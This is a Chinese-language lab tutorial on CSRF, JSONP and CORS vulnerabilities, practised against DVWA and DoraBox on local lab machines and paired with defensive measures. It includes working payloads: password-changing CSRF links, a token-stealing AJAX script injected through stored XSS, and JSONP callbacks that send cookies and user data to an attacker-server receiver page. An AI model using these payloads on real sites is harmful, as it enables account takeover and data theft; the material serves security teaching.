代码审计与综合进阶

文章目录

Outline

Web服务器:192.168.72.148

攻击服务器:192.168.72.1

CSRF跨站请求伪造

一、概述

1、定义

​ Crose-Site Request Forgery,跨站请求伪造,攻击者利用服务器对用户的信任,从而欺骗受害者去服务器上执行受害者不知情的请求。在CSRF的攻击场景中,攻击者会伪造一个请求(一般为链接),然后欺骗用户进行点击。用户一旦点击,整个攻击也就完成了。所以CSRF攻击也被称为“one click”攻击。

image-20220521112353826

2、与XSS的区别

(1)XSS是利用用户对服务端的信任,CSRF是利用服务端对用户的信任。

  • XSS的攻击,主要是让脚本在用户浏览器上执行,服务器端仅仅只是脚本的载体,本身服务器端不会受到攻击利用。

  • CSRF攻击,攻击者会伪造一个用户发送给服务器的正常链接,其核心主要是要和已登录(已认证)的用户去发请求。CSRF不需要知道用户的Cookie,CSRF自己并不会发请求给服务器,一切交给用户。

(2)XSS是将恶意代码植入被攻击服务器,利用用户对服务器的信任完成攻击。而CSRF是攻击者预先在自己攻击服务器的页面植入恶意代码,诱使受害者访问,在受害者不知情的情况下执行了恶意代码。而攻击服务器是独立的域名或IP地址。

3、攻击要点

(1)服务器没有对操作来源进行判断,如IP,Referer等

(2)受害者处于登录状态,但是攻击者无法拿到Cookie

(3)攻击者需要找到一条可以修改或获取敏感信息的请求

二、攻击场景

(1)Alice在购物网站X宝上修改个人资料。正常情况下修改资料的第一步是登录个人账号。Alice登录后对相关参数进行修改:

收货姓名:Alice
收货电话:13888888888
收货地址:快乐镇233号

Alice编辑好修改的内容,点击提交
此时提交的url请求为:

http://www.xbao.com/member/edit.php?name=Alice&phone=13888888888&addr=快乐镇233号&submit=submit

(2)这时候有个Bob他想要截获Alice的包裹,所以他要去修改Alice的收货地址。可是他没有Alice的账号权限,那么他会怎么做呢?

Bob发现这个网站存在csrf漏洞;
Bob先确定Alice还处于登录状态;
接着Bob将修改个人信息的请求伪造,然后去引诱Alice在登录状态下点击

此时Alice提交的url请求为:

http://www.xbao.com/member/edit.php?name=Bob&phone=13777777777&addr=邪恶村587号&submit=submit

这个请求跟正常修改请求一模一样,而且又是Alice自己账号操作的,所以修改成功,Bob达到了攻击目的。

(3)那么问题来了,为什么Bob攻击成功?

条件1:X宝没有对个人信息修改的请求进行防CSRF处理,导致该请求容易伪造。
因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(尤其是密码等敏感信息)的操作(增删改)是否容易被伪造。
条件2:Alice处于登录状态,并且点击了Bob发送的埋伏链接。

如果受害者不处于登录状态或不在权限控制下,亦或者根本不点这个链接,那么攻击也不会成功。

(4)CSRF漏洞单看之下的利用比较局限,但是和其他漏洞结合起来,威胁性也很大。

Bob觉得直接发链接太明显,会被aiIce轻易识破,于是他思考别的方法,Bob利用burpsuite的功能模块做了一个钓鱼网站:

1、使用burpsuite的engagement tools 制作一个csrf攻击钓鱼网站;2、Bob发给Ailce这个页面,引诱Alice在没有退出X宝账号的情况下访问钓鱼页面;3、Alice点击了钓鱼网站中的恶意表单,从而在不知情的情况下执行了修改信息的请求。

CSRF是借助受害者的权限完成攻击,攻击者全程都没有拿到受害者的权限,而XSS一般直接通过获得用户权限实施破坏。
CSRF比起XSS来说不是很流行,所以对于CSRF防范的措施较少,因此CSRF比XSS更具有危险性。

三、使用Burp完成制作钓鱼页面

1、登录dvwa,并修改为low

2、进入CSRF,并修改密码,Burp抓包

3、在抓包的页面中,右键,生成 CSRF POC

image-20220811230042326

4、将生成的HTML页面复制到攻击服务器下,访问地址为:http://192.168.72.148/csrf.html

5、将该链接发送给dvwa的admin用户点击,攻击完成,admin用户的密码已经被修改。

6、也可以将攻击服务器的页面地址通过DVWA的XSS存储型漏洞植入页面中。

7、当DVWA的当前登录账户去查看XSS漏洞页面时,点击即可完成攻击。

8、当然,整个过程还可以继续改进,让被攻击用户更加容易完成操作。比如直接将修改密码的请求地址直接内嵌到XSS页面中。

<a href="http://192.168.72.148/security/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"> 
	<img src="http://192.168.72.1:8081/learn/image/Earth.png"/> 
</a>

9、或者直接取消点击操作,进入页面即修改密码

<script>new Image().src="http://192.168.72.148/security/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"; </script>

10、上述两项操作的前提是被攻击服务器存在XSS漏洞,如果不存在XSS漏洞,则需要诱使登录用户点击攻击服务器连接即可。

四、如何防御CSRF

(1)避免在URL中明文显示特定操作的参数内容;

(2)使用同步令牌(Synchronizer Token),检查客户端请求是否包含令牌及其有效性;(常用的做法,并且保证每次token的值完全随机且每次都不同)

(3)检查Referer Header,拒绝来自非本网站的直接URL请求。

(4)不要在客户端保存敏感信息(比如身份认证信息);

(5)设置会话过期机制,比如20分钟无操作,直接登录超时退出;

(6)敏感信息的修改时需要对身份进行二次确认,比如修改账号时,需要判断旧密码;

(7)敏感信息的修改使用post而不是gethttp://192.168.72.1:8081/learn/image/Earth.png

(8)避免交叉漏洞, 如XSS等

(9)禁止跨域访问

(10)在响应中设置CSP(Content-Security-Policy)内容安全策略

DVWA-CSRF进阶

一、MEdium级

1、按照Low级操作复现

(1)按照相同的步骤完成CSRF操作

(2)在攻击服务器的URL地址中点击“Submit Request”按钮,提示:That request didn’t look correct.

2、分析问题原因

在页面中查看源码,发现了这样一句:

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {

上述代码的意思是说去 Referer字段 里面查找是否存在Server_Name(即主机IP或域名)字段的值,如果存在则满足条件。但是判断不严谨,只要包含Server_Name的值就会判断成功,所以我们考虑修改文件名。

基于表单提交不会显示IP后的信息,所以我们使用超链接的方式提交

那么,为了构造一个有效的Referer,可以在攻击服务器上创建一个新的HTML页面,并命名为:change_192.168.72.148.html(IP为被攻击服务器的地址),内容为:

<a href="http://192.168.72.148/security/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"> 
	<img src="http://192.168.72.1:8081/learn/image/Earth.png"/>
</a>
<script>
    function doCSRF(){
        location.href="http://192.168.72.148/security/DVWA-master/vulnerabilities/csrf/?password_new=123123&password_conf=123123&Change=Change";           
   }
</script>

<img src="../image/Earth.png" width="200px" height="200px" onclick="doCSRF()"/>

最新版本的Chrome会直接去掉change_192.168.72.148.html文件名,所以建议使用更早期版本的浏览器如Firefox-Hackbar.

另外,有些教程里面,告诉大家直接通过Burp给Referer字段添加192.168.112.188的主机域名即可,这个是不对的,因为被攻击用户是不会去修改Referer字段的,这种情况只适用于用来做验证,而不能用于真实场景中。

image-20220811231930090

用户在打开DVWA的情况下访问http://192.168.72.1:8081/learn/secure/Change_192.168.72.148.html,并且点击图片,就会修改密码

3、上述问题如果基于XSS攻击依然无法防御,因为其Referer字段必然跟Server_Name是同一个主机。
4、如果利用JavaScript发送AJAX请求来直接编辑Referer请求字段,是否可以为所欲为呢?

二、High级

1、Token校验机制

​ DVWA中CSRF中的High级使用Token进行校验,Token的生成机制比较类似于Session ID,但是更加多样化,可以任意定制而不需要依赖于应用服务器本身的约束,甚至可以完整处理无状态请求,并且还能保持请求被验证。

相同之处

​ Session ID的生成是基于服务器端的Session机制,并且有固定的失效时间,在失效时间前,客户端只要通过Cookie在请求中将Session ID发回给服务器,服务器便完成了校验,而不关心是否是真实的用户发送的请求。在这一点上,Token也可以实现,比如下图的处理流程与Session完全一致。

image-20211114200602793

虽然上图的流程上是相同的,但是内含的处理逻辑可能完全不一样,比如Session通过保存到服务器来进行检验,而Token很有可能是直接解密来进行校验。(看具体的Token的实现方式)。

另外,Session变量的存储需要硬盘空间或内存空间,并且无法支持多服务器多应用共享Session,比如你的企业中有PHP和Java开发的多套应用系统,那么如果内部员工要使用多个应用,就需要在每个应用中去登录,显得非常麻烦。

image-20211114195920621

而如果我们期望不同的系统之间可以实现一站式登录或单点登录,则可以避免很多问题,而且提升了用户体验,提高了安全性,那么我们可能希望是这样的效果。

image-20211114200928772

要实现以上效果,则需要依赖于Token而不是Session。Token可以是一段用户名+服务器时间、用户ID+网卡Mac、用户名+签名的加密字符串,也可以是一段随机值,可以有特定的有效期,也可以每一个请求都不一样。Token的加密==可以使用对称加密,也可以使用非对称加密,==完全取决于Token认证服务器的业务需要。比如下图,通过认证服务器也可以实现单点登录(SSO:SingleSignOn)。

image-20211114195627208

在使用过程中,Session的状态维持通常是基于请求的Cookie字段完成,是解决HTTP无状态的理想方案。而Token则可以选择维持状态,也可以选择不维持状态。需要维持状态的情况下,可以选择使用服务器存储方案(与Session类似),如果不需要维持状态,则只需要将Token进行解密即可完成验证(每次服务器都要解密)。另外,Token值通常是直接放在GET请求或POST请求的参数中发送给服务器的,而不是请求头的Cookie中。

(1)存储型Token或Session:消耗存储空间,但是不消耗解密的CPU资源。

(2)解密型Token:不消耗存储空间,但是消耗CPU资源进行解密运算(通常使用对称加密,非对称加密消耗得更多)。

2、High闯关

(1)访问CSRF页面,在页面的源代码中可以看到生成的Token:

<form action="#" method="GET">
    New password:<br />
    <input type="password" AUTOCOMPLETE="off" name="password_new"><br />
    Confirm new password:<br />
    <input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
    <br />
    <input type="submit" value="Change" name="Change">
    <input type='hidden' name='user_token' value='99b951335462549919f15cf037a580ca' />
</form>

(2)再次访问CSRF页面,生成的Token值发生了变化,可以确定DVWA生成Token的机制是每一次均不一样。

(3)过关方案的核心在于要发送请求给 http://192.168.72.148/security/DVWA-master/vulnerabilities/csrf/ 页面,然后从响应中取得Token(通过正则表达式可以提取出来),取得后再将Token和新密码一起发送给

 http://192.168.72.148/security/DVWA-master/vulnerabilities/csrf/?
 user_token=TOKEN&password_new=PASS&password_conf=PASS&Change=Change'

页面完成密码修改。

(4)先构造一个Javascript原生代码发送AJAX请求的代码:

var tokenUrl = 'http://192.168.112.188/dvwa/vulnerabilities/csrf/';
var count = 0;
// 实例化XMLHttpRequest,用于发送AJAX请求
xmlhttp = new XMLHttpRequest();
// 当请求的状态发生变化时,触发执行代码 
xmlhttp.onreadystatechange = function() {
    // 状态码:0: 请求未初始化,1: 服务器连接已建立,2: 请求已接收,3: 请求处理中,4: 请求已完成,且响应已就绪
    if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
    {
        // 取得请求的响应,并从响应中通过正则提取Token
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;   
        var match = text.match(regex);
        // alert(match[1]);
        var token = match[1];
        // 发送修改密码的语法
        var changeUrl = 'http://192.168.112.188/dvwa/vulnerabilities/csrf/?user_token='+token+'&password_new=test123&password_conf=test123&Change=Change';
        if (count == 0) {
            count = 1;   // 只发送一次,否则会多次发送
            xmlhttp.open("GET",changeUrl,false);   // false 代表同步方式发送
            xmlhttp.send();
         }
    }
};
xmlhttp.open("GET",tokenUrl, false);
xmlhttp.send();

(5)将上述JavaScript代码放置于攻击服务器上,如http://192.168.112.183/csrf.js

(6)想办法将上述JS代码嵌入到被攻击者服务器上即可完成。(而这一步,在High级无法实现)。

<script src="http://192.168.72.1:8081/learn/secure/csrf.js?" + Math.random()></script>

(7)而在High级,是屏蔽了<script>标签的,所以无法直接利用。

(8)处理方式:先切换到Low级,在留言本里面注入以下脚本,然后再切换到High级,直接触发改密。

<script src="http://192.168.72.1:8081/learn/secure/csrf.js?" + Math.random()></script>

可以使用 Fiddler 完整监听整个过程,也可以使用浏览器F12调试模式进行处理。

总结并思考:上述过程的整个实现机制,如果无法想清楚,那么建议绘制流程图来辅助思考。

再思考:为什么此处要使用JavaScript原生代码来发送请求,使用jQuery不是更简单吗?

以下是使用JQuery来进行处理,达到相同的效果,简单多少呢?一样得去理解JQuery的机制。

var script=document.createElement("script");
script.type="text/javascript";
script.src="http://192.168.72.1:8081/learn/PHP/login/jquery-3.4.1.min.js";
document.getElementsByTagName('head')[0].appendChild(script);
setTimeout(function() {
    $(document).ready(function(){
        var tokenUrl = 'http://192.168.72.148/security/DVWA-master/vulnerabilities/csrf/';
        $.get(tokenUrl, function (data) {
            var regex = /user_token\' value\=\'(.*?)\' \/\>/;
            var match = data.match(regex);
            var token = match[1];
            var changeUrl='http://192.168.72.148/security/DVWA-master/vulnerabilities/csrf/?			 				user_token='+token +'&password_new=123456&password_conf=123456&Change=Change';
            $.get(changeUrl, function (data) {
                alert('done');
            });
        });
    });
}, 500);

网站跨域访问的问题

一、DVWA中处理CSRF的另一种手段
1、攻击手段

如果在192.168.72.1网站中创建一个HTML页面,在XSS DOM中进行调用,也是可以解决CSRF的High级问题。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSRF</title>
    <!-- 此处是执行脚本,执行完成后已经完成了修改密码的功能 -->
    <script type="text/javascript">
        var tokenUrl = 'http://192.168.72.148/security/DVWA-master/vulnerabilities/csrf/';
        var count=0;
        xmlhttp = new XMLHttpRequest();
        // 当请求的状态发生变化时,触发执行代码
        xmlhttp.onreadystatechange = function() {

            if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
                // 取得请求的响应,并从响应中通过正则提取Token
                var text = xmlhttp.responseText;
                var regex = /user_token\' value\=\'(.*?)\' \/\>/;              // 两个/和''的效果一样
                var match = text.match(regex);
                var token = match[1];       // 下标为0 输出整个值,下标为1输出匹配的value
                
                // 发送修改密码的语法
                var changeUrl='http://192.168.72.148/security/DVWA-master/vulnerabilities/csrf/?user_token='+
                                token +'&password_new=111222&password_conf=111222&Change=Change';
                if (count == 0){
                    count =1;   //只发送一次请求,否则会陷入死循环
                    xmlhttp.open("GET",changeUrl,false);        // false表示同步方式发送
                    xmlhttp.send();
                }
            }

    }
xmlhttp.open("GET",tokenUrl, false);
xmlhttp.send();
    </script>
</head>
<body>
        <!-- 此处的代码仅仅只是为了做一个跳转,不是必须的代码 -->
        <script>location.href="http://192.168.72.148/security/DVWA-master/vulnerabilities/xss_s/";</script>
</body>
</html>

在High级XSS(Stored)的Name中提交一个iframe标签:

<iframe src="http://192.168.72.1:8081/learn/secure/csrf.html" style="display:none">

当用户点击到XSS(Stored)留言页面时,将自动修改其密码。

另外一种更加符合CSRF的“One Click“特性的操作方式,直接将超链接http://192.168.72.1:8081/learn/secure/csrf.html发送给当前登录用户,

2、上述攻击手段存在的问题

上述攻击方式存在一个严重的问题,就是我们需要将 csrf.html 页面保存于被攻击服务器 192.168.72.1 上,很显然,这是不现实的,如果已经能达成这一目的了,说明我们已经取得了服务器超级管理员的权限,此时当然也不需要再进行什么 CSRF 攻击了。

所以,自然而然,我们想到一个方案,将上述 csrf.html 页面保存于攻击服务器上,进而实现攻击者可控,让用户去访问攻击服务器上的页面不就可以完成攻击了吗?

二、在攻击服务器上使用csrf.html页面

在High级XSS(Stored)的Name中提交一个iframe标签如下:

<iframe src="http://192.168.72.1:8081/learn/secure/csrf.html" style="display:none">

此时,观察一下是否存在CSRF攻击,并使用Fiddler进行抓包确认。

三、什么是跨域访问
1、HTTP请求头

(1)Host:表示当前请求要被发送的目的地host,仅包括域名和端口号。在任何类型请求中,request都会包含此header信息。

(2)Referer:Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。它由协议+域名+查询参数组成(注意不包含锚点信息),所有类型的请求都包含此header。

(3)Origin:表示这个请求原始是在哪里发起的,包括当前请求的协议+域名,特别注意:这个参数一般只存在于CORS跨域请求(两个端口号不同或域名不同或使用的协议不同的请求称为跨域请求)中,非跨域请求没有这个header。

2、同源策略

​ 同源策略(Same-Origin Policy,简称SOP)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。不同源的客户端脚本(JavaScript、ActionScript)在没明确授权的情况下,不能读写对方的资源,比如浏览器在A网页设置的Cookie,B网页不能打开,除非这两个网页同源。它能帮助阻隔恶意文档,减少可能被攻击的媒介,比如CSRF攻击便受到同源策略的限制。

同源是指两个或多个网页同时满足三个相同条件,域名相同,协议相同,端口相同。

举例来说,一个网站:http://www.example.com/dir/page.html这个网址,协议是http://,域名是www.example.com,端口是80(默认端口可以省略),下面哪个是同源网页?

http://www.example.com/dir2/other.html         同源
http://v2.www.example.com/dir/other.html    不同源(域名不同)
http://www.example.com:81/dir/other.html    不同源(端口不同)
https://www.example.com/dir2/other.html        不同源(协议不同)

在上述的实验中,攻击服务器上192.168.72.1上的csrf.html页面无法向正常服务器192.168.72.148上发送修改用户密码的请求,便是受到同源策略的限制所导致的。

在浏览器的下列标签,不受同源策略的影响:

<script src=“……”>     //加载js到本地执行
<img src=“……”>         //加载图片
<link href=“……”>     //css文件
<iframe src=“……”>     //任意资源
3、跨域访问

在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问问题。在请求的过程中我们要想回去数据一般都是post/get请求,所以,跨域问题出现,受浏览器同源策略的限制,要在浏览器中实现跨域访问,需要使用专门的解决方案。

4、如何跨域

(1)JSONP方案
(2)CORS方案
(3)WebSocket通信

JSONP跨域访问实现

一、生成JSON响应
1、PHP代码

在192.168.112.188服务器上生成PHP代码,并命名为list-json.php

<?php
// 连接数据库并访问数据
$conn =  new mysqli('127.0.0.1','root','123456','learn') or die("数据库连接不成功!");
$conn->set_charset('utf8');
$sql = "select articleid,author,viewcount,createtime from article where articleid<5";
$result = $conn->query($sql);
// 输出JSON数据到页面
$json = json_encode($result->fetch_all(MYSQLI_ASSOC));
echo $json;
$conn->close();
?> 
2、浏览器访问

直接在浏览器中访问 ”http://192.168.112.188/security/list-json.php“,将直接在浏览器得到以下响应(中文经过URL编码):

[{"articleid":"1","author":"LeBron","viewcount":"5","createtime":"2022-07-19 12:06:46"},{"articleid":"2","author":"YikJiang","viewcount":"0","createtime":"2022-07-22 23:23:47"}] 
二、在另外一个页面使用AJAX访问
1、在192.168.72.148构建一个新的页面,命名为list-json.html
<!-- 跨页面查看JSON数据 -->

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>跨页面查看JSON数据</title>
    <script type="text/javascript">
        var listUrl = 'http://192.168.72.148/security/Test/list-json.php';

        // 实例化XMLHttpRequest,用于发送AJAX请求
        xmlhttp = new XMLHttpRequest();
        var count = 0;
        
        xmlhttp.onreadystatechange=function(){
            if(xmlhttp.readyState ==4 && xmlhttp.status ==200){
               
                var text = xmlhttp.responseText;
                alert(text);
            }
        };
        xmlhttp.open("GET",listUrl,false);
        xmlhttp.send();

    </script>
</head>
<body>
    跨页面查看JSON数据,只要是同源,则完全没有问题。
</body>
</html>

2、在浏览器访问”http://192.168.72.148/security/Test/list-json.html“,正常弹窗显示响应

image-20220816195150669

三、将list-json.php保存至192.168.72.1服务器
1、访问方式

将list-json.php的代码保存到192.168.72.1服务器,访问地址为:http://192.168.72.1:8081/learn/secure/list-json.php,在浏览器中直接访问该地址,确认可以正常访问。

2、在148服务器的list-json.html页面中访问

此时,148服务器的list-json.html页面中,修改listUrl地址为:var listUrl = ‘http://192.168.112.183/list-json.php';,此时,在浏览器中访问 ”http://192.168.72.148/security/Test/list-json.html“,将无法弹窗,打开F12,看到控制台输出错误如下:

image-20220816231830714

以上,就是跨域访问存在的问题。

四、使用JSONP解决跨域访问
1、修改1.2服务器上的list-json.php
只需要将:
echo $json;
替换为:
echo $_GET['callback'] . "(" . $json . ")";   // 向前端输出回调函数

假设我们给一个Get的参数test,输出为test(&json)

image-20220816232726832

2、将148服务器上的list-json.html页面修改为:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script>
        // 先定义好一个JS函数
        function test(args) {
            alert(JSON.stringify(args));
        }
    </script>
    <!-- 形成回调后,再去直接调用test(json),所以要保证test函数先定义,callback参数的值必须是函数名 -->
    <script src="http://192.168.112.183/list-json.php?callback=test"></script>
    <title>List-JSONP</title>
</head>
<body>
</body>
</html>
3、再访问http://192.168.72.148/security/Test/list-json.html实现正常访问

image-20220816233537276

JSONP这种基于回调函数的方式,为什么可以实现跨域?script标签不受同源策略影响,再通过回调将值作为实参传给页面。

4、使用jQuery完成跨域回调
<script src="../Login/jquery-3.4.1.min.js"></script>
<script>
    $.getJSON('http://192.168.72.1:8081/learn/secure/list-json.php?callback=?',function(data){
    alert(JSON.stringify(data));
})
</script>
5、JSONP跨域要点

当list-json.php实现了跨域访问后,任意网站的页面均可以访问其数据,只要知道其参数名$_GET['callback'],从而在JS中进行函数回调,即可完成访问。另外一点就是将 <script src="http://192.168.72.1:8081/learn/secure/list-json.php?callback=test"></script> 放在<script>标签中,因为该标签允许跨域访问。

image-20220816235157024

JSONP存在的限制:只能处理GET请求,必须经过回调,在真实场景中会比较受局限

JSONP跨域访问漏洞

一、漏洞一:利用回调GetCookie

当在list-json.html页面中,直接构造以下Payload,则会导致弹窗

<script src="http://192.168.72.1:8081/learn/secure/list-json.php?callback=alert(1);//"></script>

如果按照正常的逻辑来,输出为test(&Json),但是输入以上Payload,输出为alert(1)//

那么,在弹窗位置,则可以实现利用,比如发送当前页面的Cookie到1.2的xssrecv.php页面上,Payload如下:

<script src="http://192.168.72.1:8081/learn/secure/list-json.php?callback=location.href='http://192.168.72.1:8081/learn/secure/xssrecv.php?cookie='%2Bdocument.cookie%2B'%26url='%2Blocation.href;//"></script>

经过http://192.168.72.148/security/Test/list-json.html访问上述页面,即可完成Get Cookie只要通过XSS漏洞将包含上述Payload的HTML页面连接交给用户访问到,或者引诱登录用户点击,则可以直接获取用户Cookie等数据。

所以需要对回调函数的名称进行严格的限制,比如限制其长度,查询其关键词,或者使用白名单。

// 限制长度
if(strlen($_GET['callback']) > 10){
    die("too_long");
}

// 设置白名单
$white_list = array('test','json','dream','surge');
if ( ! in_array($_GET['callback'],$white_list)){
    die("wrong_value");
}
 
二、漏洞二:利用CSRF获取数据

当发现某个站点存在JSONP跨域漏洞之后,则只需要构造一个链接,让被攻击者在登录状态下点击,然后在148服务器上的list-json.html页面中的 alert()的位置将获取到的数据发送给攻击服务器即可。

在DoraBox靶场环境中,存在这样一行代码:

$callback = htmlspecialchars($_GET['callback']);

上述代码将跨域网站提交过去的callback的内容进行了转义,杜绝了XSS漏洞获取Cookie的漏洞。但是该页面依然存在JSONP漏洞,在攻击服务器192.168.72.1上添加jsonpuse.html页面,访问正常服务器192.168.72.148上的Dorabox的JSONP漏洞页面,代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>List-JSON</title>
</head>
<script>
    function test(args){
        location.href="http://192.168.72.1:8081/learn/secure/jsonprecv.php?value="+JSON.stringify(args)+"&referer="+document.referrer
    }
</script>
    <script src="http://192.168.72.148/security/DoraBox-master/csrf/jsonp.php?callback=test"></script>
<body>
    山中何事,松花酿酒,春水煎茶。 
</body>
</html>

同时,在1.2攻击服务器上增加jsonprecv.php页面,内容如下:

<?php
$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $_GET['referer'];
$value = $_GET['value'];
$conn = new mysqli('127.0.0.1','root','123123','learn','3316') or die ("数据库连接不成功!");
$conn->set_charset("utf8");
$sql = "insert into xssdata(ipaddr, url, cookie, createtime) values('$ipaddr', '$url', '$value', now())";
$conn->query($sql);
echo "<script>history.back();</script>";

?>

此时,在148的Dorabox服务器中,利用XSS漏洞生成一个连接到1.2攻击服务器的“http://192.168.72.1:8081/learn/secure/jsonpuse.html”页面,完成数据泄漏攻击。(或者直接让用户点击也可以)

DoraBox的存储型比较有意思,直接在stored_xss.php的当前页面的源代码里面写入存储数据,所以要将此文件设置为可写权限。

三、JSON攻击防御方案

产生JSONP攻击的核心在于没有对调用方进行校验

(1)前后端约定jsonp请求的js的回调函数名,不能自己定义回调名称。

(2)严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 或其他Token验证等。

(3)严格按照 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 ),避免被XSS利用。可以在PHP源码中添加header("content-type:application/json");即可。

(4)严格过滤 callback 函数名及 JSON 里数据的输出。

(4)严格限制对 JSONP 输出 callback 函数名的长度和内容。

(5)其他一些比较“猥琐”的方法:如在 Callback 输出之前加入其他字符(如:/**/、回车换行)这样不影响 JSON 文件加载,又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ,通过在输出 JSON 之前加入 while(1) ;这样的代码来防止 JS 远程调用。会造成死循环

CORS跨域访问漏洞

一、什么是CORS

全称是”跨域资源共享”(Cross-Origin Resource Sharing),CORS规范规定了在Web服务器和浏览器之间交换的标头内容,该标头内容限制了源域之外的域请求web资源。CORS规范标识了协议头中Access-Control-Allow-Origin最重要的一组。当网站请求跨域资源时,服务器将返回此标头,并由浏览器添加标头Origin。

二、如何使用CORS

1、cors.php

在1.2服务器上实现以下PHP代码:

<?php
$conn =  new mysqli('127.0.0.1','root','123123','learn','3316') or die("数据库连接不成功!");
$conn->set_charset('utf8');
$sql = "select articleid,author,viewcount,createtime from article where articleid<5";
$result = $conn->query($sql);
// 输出JSON数据到页面

$json = json_encode($result->fetch_all(MYSQLI_ASSOC));
echo $json;
$conn->close();
?>

2、cors.html

在148的服务器,实现以下HTML,去跨域访问1.2上的cors.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="../Login/jquery-3.4.1.min.js"></script>
    <title>Document</title>
    <script>
        $.get('http://192.168.72.1:8081/learn/secure/CORS.php',function(data){
            alert(data);
        })
    </script>
</head>

<body>
    
</body>
</html>

3、此时,由于同源策略的限制,148无法访问1.2。

4、优化1.2的cors.php,允许任意主机跨域访问

header("Access-Control-Allow-Origin: *");    // * 代表任意主机,也就是说任意 Origin 均可以跨域

通常情况下,不建议设置为 *,因为会导致完全的接口暴露,任意网站均可以跨域访问。

设置完成后,148可以正常访问1.2

5、辅助的响应头

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST,OPTIONS,GET    // 请求的类型,针对复杂请求的预检有效
Access-Control-Max-Age: 3600                    // 生命周期
Access-Control-Allow-Headers: accept,x-requested-with,Content-Type    // 可以接受的请求头
Access-Control-Allow-Credentials: true            // 是否允许发送Cookie
Access-Control-Allow-Origin: http://192.168.10.118:8070   // 只允许哪个源访问

非简单请求的预检过程,参考:https://www.cnblogs.com/wonyun/p/CORS_preflight.html

三、使用白名单防御跨域漏洞
$list = array('http://192.168.72.148','http://192.168.1.1');

if (in_array($_SERVER['HTTP_ORIGIN'], $list)) {
    header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);
}

else{
    die("Cross-Site Disallowd");	//防止暴露敏感信息
}

四、预防CORS漏洞

CORS漏洞主要是由于配置错误而引起的。所以,预防漏洞变成了一个配置问题。下面介绍了一些针对CORS攻击的有效防御措施。

  1. 正确配置跨域请求
    如果Web资源包含敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源。
  2. 只允许信任的网站
    看起来似乎很明显,但是Access-Control-Allow-Origin中指定的来源只能是受信任的站点。特别是,使用通配符来表示允许的跨域请求的来源而不进行验证很容易被利用,应该避免。
  3. 避免将null列入白名单
    避免使用标题Access-Control-Allow-Origin: null。来自内部文档和沙盒请求的跨域资源调用可以指定null来源。应针对私有和公共服务器的可信来源正确定义CORS头。
  4. 避免在内部网络中使用通配符
    避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时,仅靠信任网络配置来保护内部资源是不够的。
  5. CORS不能替代服务器端安全策略
    CORS定义了浏览器的行为,绝不能替代服务器端对敏感数据的保护-攻击者可以直接从任何可信来源伪造请求。因此,除了正确配置的CORS之外,Web服务器还应继续对敏感数据应用保护,例如身份验证和会话管理。
五、DoraBox - CORS跨域资源读取

Payload

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="../PHP/login/jquery-3.4.1.min.js"></script>
    <title>Document</title>
    <script>
        // $.get('http://192.168.72.1:8081/learn/secure/CORS.php',function(data){
        // 由于没有做限制,所以直接跨域访问即可获取资源
        $.get('http://192.168.72.148/security/DoraBox-master/csrf/userinfo.php',function(data){
            alert(data);
        })
    </script>
</head>
<body> 
</body>
</html>

Source

<?php
	if (@$_SERVER['HTTP_ORIGIN']){
        //发送端的Origin是什么,就allow什么,所以等于没有做限制
		header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']);
	}else{
		header("Access-Control-Allow-Origin: *");
	}
	header("Access-Control-Allow-Headers: X-Requested-With");
	header("Access-Control-Allow-Credentials: true");
	header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");

	$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
	echo json_encode($info);

CSP内容安全策略

一、 引入

XSS中的Get Cookie攻击,可以通过在setcookie字段中增加httponly属性来限制JS读取Cookie,但是并不能从根本上解决XSS攻击,因为获取Cookie并非XSS的唯一攻击方式。

方法一:在php.ini配置文件中进行cookie只读设置的开启(有效范围:全局)
#搜索session.cookie_httponly =
session.cookie_httponly = On
方法二:在php代码顶部设置(有效范围:当前页面)
